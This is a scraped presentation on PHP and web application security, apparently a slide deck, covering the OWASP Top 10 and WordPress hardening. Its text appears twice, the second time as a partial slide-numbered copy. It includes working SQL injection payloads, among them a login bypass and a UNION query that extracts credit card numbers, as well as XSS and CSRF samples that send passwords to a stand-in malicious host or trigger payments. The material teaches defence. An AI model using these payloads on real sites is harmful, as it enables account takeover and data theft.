PHP Security
Hacks, attacks, and getting your site
back
Mizno Kruge
Carijasa, CTO
Email : mizno.kruge@gmail.com
Mobile : +62 813 1097 4914
Telegram : @mizno
 the protection of computer systems from
the theft or damage to their hardware,
software or information, as well as from
disruption or misdirection of the services
From the news…
 143 millions CC
 $2.28 billion
market value.
https://techcrunch.com/tag/equifax-hack/
General Aspect
IT Security
OSI LAYER
Physical
 Cables, cards and physical aspects
 Ethernet, FDDI, B8ZS, V.35, V.24,
RJ45.
Data Link
 Data packets are encoded and decoded
into bits
 Media Access Control (MAC) : gains
access to the data and transmit
permission
 Logical Link Control(LLC): controls
frame synchronization, flow control and
error checking
 Tunnels, SSH, PPP, MAC (Ethernet
DSL, ISDN, FDDI)
Network
 switching and routing technologies,
creating logical paths, known as virtual
circuits, for transmitting data
from node to node
 AppleTalk DDP, IP
Transport
 Provides transparent transfer of data
between end systems, or hosts, and is
responsible for end-to-end error
recovery and flow control
 TCP: Fast, low to moderate data
 UDP : Slow, low to big data
Session
 Establishes, manages and terminates
connections between applications
 NFS, NetBios names, RPC, SQL
Presentation
 Provides independence from
differences in data representation
(e.g., encryption) by translating from
application to network format, and vice
versa
 Encryption, ASCII, EBCDIC, TIFF, GIF,
PICT, JPEG, MPEG, MIDI.
Application
 Provides application services for file
transfers, e-mail, and
other network software services. Telnet
and FTP are applications that exist
entirely in the application level. Tiered
application architectures are part of this
layer.
 WWW browsers, Telnet, HTTP, FTP
Summary
Attack
Attack!
 Active
attempts to alter system resources or
affect their operation
 Passive
attempts to learn or make use of
information from the system but does
not affect system resources
Active Attack
 Denial-of-service attack
 Spoofing
 Man in the middle
 Ping flood & Ping of death
Denial-of-service attack
Spoofing
MITM
Passive
 Port Scan & Iddle Scan
 Wiretapping
Vulnerability
 a weakness which allows an attacker to
reduce a system's information
assurance
 intersection of three elements: a system
susceptibility or flaw, attacker access to
the flaw, and attacker capability to
exploit the flaw
Exploit vulnerability process
diagram
OWASP Top 10
OWASP Top 10
Regular publication by The Open
Web Application Security Project
Highlights the 10 most-critical web
application security risks
SQL
Injection
 Modifying SQL
statements to:
Spoof identity
Tamper with data
Disclose hidden
information
SQL Injection Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE
HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value'
";
$database->query($sql);
Username
Password
Log In
admin
password
Username
Password
Log In
admin
Invalid username or password. Please
try again.
password'
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
~~
$
Username
Password
Log In
admin
Unknown error.
' test
Username
Password
Log In
admin
Unknown error.
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
~~~~~~~~
~~~~~~~~
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
SELECT * FROM users WHERE username = 'admin'
AND password = '';
SELECT * FROM users WHERE username = 'admin'
AND password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin'
AND (true);
SELECT * FROM users WHERE username = 'admin';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
~~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
~~~~~~~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
Username
Password
Log In
admin
Unknown error.
' OR '1'='1
Welcome Admin!
Admin Menu:
Give customer money
Take money away
Review credit card
applications
Close accounts
Blind SQL Injection
Blind SQL Injection
Invalid username or password. Please try
again.
Unknown error.
Welcome Admin!
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
Unknown error.
ErrorsQuery
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';
Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
ErrorsQuery
MySQL error: Unknown table 'user'.
Unknown error.
Username
Password
Log In
admin
' AND (SELECT id FROM users LIMIT 1) = '
ErrorsQuery
MySQL error: Unknown table 'user'.
Unknown error.
Username
Password
Log In
admin
Invalid username or password. Please
try again.
SQL Injection:
Data Disclosure
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => 'The Great Gats
'author' => 'F. Scott Fitzge
'price' => 9.75
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id =
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id =
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column
1
Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION
SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column
1
Column 2 Column 3
(SELECT
)
1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION
SQL UNION Query
Column 1 Column 2 Column 3
(empty)
Column
1
Column 2 Column 3
(SELECT
)
1 1
Column 1 Column 2 Column 3
(SELECT) 1 1
UNION
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT
creditcards
SELECT * FROM books WHERE id =
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT
number AS 'title', 1 AS 'author', 1 AS 'price' FROM
creditcards
SELECT * FROM books WHERE id =
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT
number AS 'title', 1 AS 'author', 1 AS 'price' FROM
creditcards
SELECT * FROM books WHERE id =
99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT
number AS 'title', 1 AS 'author', 1 AS 'price' FROM
creditcards
SELECT * FROM books WHERE id =
99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author,
price FROM books WHERE id = "
. $id;
$data = $database-
>query($sql);
{
'title' => '4012-3456-7890-
'author' => 1,
'price' => 1
$val = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$val'
";
$database->query($sql);
Protecting Against
SQL Injection
 Block input with
special characters
Protecting
Against SQL
Injection
 Block input with
special characters
 Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1'
= '1
' OR '1'
= '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
Protecting
Against SQL
Injection
 Block input with
special characters
 Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1'
= '1
' OR '1'
= '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
Protecting
Against SQL
Injection
 Block input with
special characters
 Escape user input
 Use prepared
statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db
Other Types of Injection
 NoSQL databases
 OS Commands
 LDAP Queries
 SMTP Headers
XSS
Cross-Site Scripting
 Injecting code into
the webpage (for
other users)
• Execute malicious
scripts
• Hijack sessions
• Install malware
• Deface websites
XSS Attack
Basics
 Raw code/script
is injected onto a
page
$value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT x FROM table');
<?php echo $value ?>
XSS – Cross-Site Scripting
Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
XSS – Cross-Site Scripting
short.ly
Paste a URL here Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
Short URL: http://short.ly/b7fe9
Original URL: http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
http://www.colinodell.com
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X
XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
<p>
Short URL:
<a href="…">http://short.ly/3bs8a</a>
</p>
<p>
Original URL:
<a href="…"><script>alert('hello world!');</script></a>
</p>
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
XSS – Cross-Site Scripting
document.getElementById('login-form').action =
'http://malicious-site.com/steal-passwords.php';
Protecting
Against XSS
Attacks $value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>
Protecting
Against XSS
Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> &lt;script&gt;
htmlspecialchars()
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>
Protecting
Against XSS
Attacks
• Filter user input
• Escape user
input
• Escape output
{{ some_variable }}
{{ some_variable|raw }}
CSRF
Cross-Site Request
Forgery
 Execute unwanted
actions on another
site which user is
logged in to.
• Change password
• Transfer funds
• Anything the user
can do
CSRF – Cross-Site Request
Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request
Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request
Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
CSRF – Cross-Site Request
Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
CSRF – Cross-Site Request
Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my password
to hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!
CSRF – Cross-Site Request
Forgery
short.ly
<img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
CSRF – Cross-Site Request
Forgery
short.ly
Please wait while we redirect you to
X
Protecting
Against CSRF
Attacks
 Use randomized
CSRF tokens <input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1.Same token? Proceed.
2.Different/missing? Reject the
request.
Insecure
Direct
Object
References
 Access &
manipulate
objects you
shouldn’t have
access to
Insecure Direct Object
References
Insecure Direct Object
References
Beverly
Insecure Direct Object
References
Insecure Direct Object
References
Insecure Direct Object
References
Insecure Direct Object
References
Protecting
Against
Insecure Direct
Object
References
 Check permission
on data input
• URL / route parameters
• Form field inputs
• Basically anything that’s
an ID
• If they don’t have
permission, show a 403 (or
404) page
Protecting
Against
Insecure Direct
Object
References
 Check permission
on data input
 Check permission
on data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security
through obscurity”
Sensitive Data
Exposure
Security
Misconfiguration
Components with
Known Vulnerabilities
http://www.example.com/CHANGELOG
http://www.example.com/composer.lock
http://www.example.com/.git/
http://www.example.com/.env
http://www.example.com/robots.txt
Sensitive Data Exposure
Sensitive Data Exposure -
CHANGELOG
Sensitive Data Exposure –
composer.lock
Sensitive Data Exposure –
composer.lock
Sensitive Data Exposure – .git
Sensitive Data Exposure –
robots.txt
Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure
Security Misconfiguration &
Components with Known
Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (FTP server)
Components with Known
Vulnerabilities
Components with Known
Vulnerabilities
Components with Known
Vulnerabilities
Protecting
Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
 Keep software up-
to-date
• Install critical updates
immediately
• Install other updates regularly
Protecting
Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
 Keep software up-
to-date
 Keep sensitive data
out of web root
• Files which provide version
numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys
Protecting
Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
 Keep software up-
to-date
 Keep sensitive data
out of web root
 Use strong
encryption
• Encrypt with a strong private
key
• Encrypt backups and data-in-
transit
• Use strong hashing techniques
for passwords
Protecting
Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
 Keep software up-
to-date
 Keep sensitive data
out of web root
 Use strong
encryption
 Test your systems
• Scan your systems with automated
tools
• Test critical components
yourself
• Automated tests
• Manual tests
Next Steps
 Test your own applications for
vulnerabilities
 Learn more about security & ethical hacking
 Enter security competitions (like CtF)
 Stay informed
WordPress Hacks
Warning! Massive Number of GoDaddy
WordPress Blogs Hacked!
DreamHost: One Million Domains Hacked;
WordPress Blogs Infected
WordPress Sites on GoDaddy, Bluehost
Hacked
Reuters Hacked Again, Outdated
WordPress Blog At Fault?
InMotion Hosting Servers Hacked,
Thousands of Web Sites Affected
WordPress Hacks
History shows there have been very few
“WordPress Hacks”
“ In the vast majority of cases I see,
attackers get in some other way, and
then once already in the system, they
go looking for WordPress installs.” --
Mark Jaquith
If WordPress isn’t the weak
point, what is?
WordPress Hacks
Most hacks that affect WordPress
actually originate outside of WordPress
Core.
TimThumb (PHP library, many
themes/plugins)
Uploadify (jQuery plugin, many
themes/plugins)
Adserve (plugin)
WassUp (plugin)
Is Human (plugin)
Shared Hosting
Shared hosting? Shared security!
Other users on the same server as you
can become a security risk that affects
you
What about your own users? Can you
trust everyone who has a login for your
site? Really trust them?
https://www.tcpiputils.com/reverse-ip
http://www.ipneighbour.com/
How do hackers get in?
Known exploits in vulnerable software
Brute-force password hacking
Network scanners
Firesheep
Wifi vulnerabilities (WEP/WPA)
Automated tools
Rootkits
Three Words
Update
Update
Update
Three Words
Update Core
Update Plugins
Update Themes
What Else?
Hotfix Plugin
WP Security Scanner
Login Lockdown
BulletProof Security
Sucuri.net
What Else?
Not using a plugin anymore?
Deactivate
DELETE!
The same goes for themes
HACKED!
Now What?
You can no longer trust any code files
Nuke the site, start from trusted, fresh
copies
Save wp-config.php and wp-content/uploads
Reinstall data from backups
You do have backups, right?
Right?
What do I back up?
Database
Uploaded media (wp-content/uploads)
Custom themes and plugins
wp-config.php
Keep a list of your installed third-party
plugins
How do I back up?
Backup Buddy
VaultPress
WordPress Backup to Dropbox
It can happen to you
It can happen to me
It can happen to everyone, eventually
-- Yes, It Can Happen, 90125
Healthy Paranoia
Use strong passwords
Two-factor authentication -- Google
Authenticator plugin
Use separate WordPress logins for
publishing day-to-day content and for
site administration
Limit who can login to your site, and
what permissions they have
Create temporary accounts for developers, if
necessary
Healthy Paranoia
Use secure protocols: SFTP, SCP, SSH --
not FTP
If possible, enforce SSL on WordPress logins
and dashboard access
Ensure MySQL server is not accessible to
other hosts
Same goes for memcache (or any other data
store)
Getting help
Security is part of the cost of doing business, like insurance
If you don’t know how to do all this, retain the services of
someone who does
Managed hosting:
Page.ly
WordPress.com
WP Engine
Zippykid
Cloudways
AWS with pre-built WP optimized
Security for WP Developers
Settings API, nonces, validation
handlers
Data escaping functions: esc_*()
esc_html()
esc_attr()
esc_sql()
esc_url() & esc_url_raw()
esc_js
Now, SECURE ALL THE THINGS!
Thanks!
Mizno Kruge
mizno@carijasa.co.id
+6281310974914

Php Security - OWASP

  • 1.
    PHP Security Hacks, attacks,and getting your site back Mizno Kruge Carijasa, CTO Email : mizno.kruge@gmail.com Mobile : +62 813 1097 4914 Telegram : @mizno
  • 2.
     the protectionof computer systems from the theft or damage to their hardware, software or information, as well as from disruption or misdirection of the services
  • 3.
    From the news… 143 millions CC  $2.28 billion market value. https://techcrunch.com/tag/equifax-hack/
  • 4.
  • 5.
  • 6.
  • 7.
    Physical  Cables, cardsand physical aspects  Ethernet, FDDI, B8ZS, V.35, V.24, RJ45.
  • 8.
    Data Link  Datapackets are encoded and decoded into bits  Media Access Control (MAC) : gains access to the data and transmit permission  Logical Link Control(LLC): controls frame synchronization, flow control and error checking  Tunnels, SSH, PPP, MAC (Ethernet DSL, ISDN, FDDI)
  • 10.
    Network  switching androuting technologies, creating logical paths, known as virtual circuits, for transmitting data from node to node  AppleTalk DDP, IP
  • 11.
    Transport  Provides transparenttransfer of data between end systems, or hosts, and is responsible for end-to-end error recovery and flow control  TCP: Fast, low to moderate data  UDP : Slow, low to big data
  • 12.
    Session  Establishes, managesand terminates connections between applications  NFS, NetBios names, RPC, SQL
  • 13.
    Presentation  Provides independencefrom differences in data representation (e.g., encryption) by translating from application to network format, and vice versa  Encryption, ASCII, EBCDIC, TIFF, GIF, PICT, JPEG, MPEG, MIDI.
  • 14.
    Application  Provides applicationservices for file transfers, e-mail, and other network software services. Telnet and FTP are applications that exist entirely in the application level. Tiered application architectures are part of this layer.  WWW browsers, Telnet, HTTP, FTP
  • 15.
  • 16.
  • 17.
    Attack!  Active attempts toalter system resources or affect their operation  Passive attempts to learn or make use of information from the system but does not affect system resources
  • 18.
    Active Attack  Denial-of-serviceattack  Spoofing  Man in the middle  Ping flood & Ping of death
  • 19.
  • 20.
  • 21.
  • 22.
    Passive  Port Scan& Iddle Scan  Wiretapping
  • 23.
    Vulnerability  a weaknesswhich allows an attacker to reduce a system's information assurance  intersection of three elements: a system susceptibility or flaw, attacker access to the flaw, and attacker capability to exploit the flaw
  • 24.
  • 25.
  • 26.
    OWASP Top 10 Regularpublication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks
  • 29.
    SQL Injection  Modifying SQL statementsto: Spoof identity Tamper with data Disclose hidden information
  • 30.
    SQL Injection Basics $value= $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  • 31.
  • 32.
    Username Password Log In admin Invalid usernameor password. Please try again. password'
  • 33.
  • 34.
    tail –n 1/var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
  • 35.
    tail –n 1/var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ ~~ $
  • 36.
  • 37.
  • 38.
    tail –n 1/var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
  • 39.
    tail –n 1/var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
  • 40.
    ~~~~~~~~ SELECT * FROMusers WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
  • 41.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' test '; ' test
  • 42.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' test '; ' test SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ~~~~~~~~~~~~~~~
  • 43.
    SELECT * FROMusers WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
  • 44.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' '; ' SELECT * FROM users WHERE username = 'admin' AND password = '' '; ~~~
  • 45.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' ' '; ' ' SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ~~~~~~~~~~~~~~
  • 46.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' OR ' '; ' OR ' SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';
  • 47.
    SELECT * FROMusers WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1 SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
  • 48.
  • 49.
    Welcome Admin! Admin Menu: Givecustomer money Take money away Review credit card applications Close accounts
  • 50.
  • 51.
    Blind SQL Injection Invalidusername or password. Please try again. Unknown error. Welcome Admin!
  • 52.
    Username Password Log In admin ' AND(SELECT id FROM user LIMIT 1) = '
  • 53.
    Username Password Log In admin ' AND(SELECT id FROM user LIMIT 1) = ' Unknown error. ErrorsQuery SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
  • 54.
    Username Password Log In admin ' AND(SELECT id FROM user LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
  • 55.
    Username Password Log In admin ' AND(SELECT id FROM users LIMIT 1) = ' ErrorsQuery MySQL error: Unknown table 'user'. Unknown error.
  • 56.
  • 57.
  • 58.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => 'The Great Gats 'author' => 'F. Scott Fitzge 'price' => 9.75 }
  • 59.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { }
  • 60.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 61.
    SQL UNION Query Column1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION
  • 62.
    SQL UNION Query Column1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT ) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION
  • 63.
    SQL UNION Query Column1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT ) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION
  • 64.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT creditcards SELECT * FROM books WHERE id = $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 65.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  • 66.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => '', 'author' => '', 'price' => 0.00
  • 67.
    SQL Injection -Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database- >query($sql); { 'title' => '4012-3456-7890- 'author' => 1, 'price' => 1
  • 68.
    $val = $_REQUEST['value']; $sql= "SELECT * FROM x WHERE y = '$val' "; $database->query($sql); Protecting Against SQL Injection  Block input with special characters
  • 69.
    Protecting Against SQL Injection  Blockinput with special characters  Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  • 70.
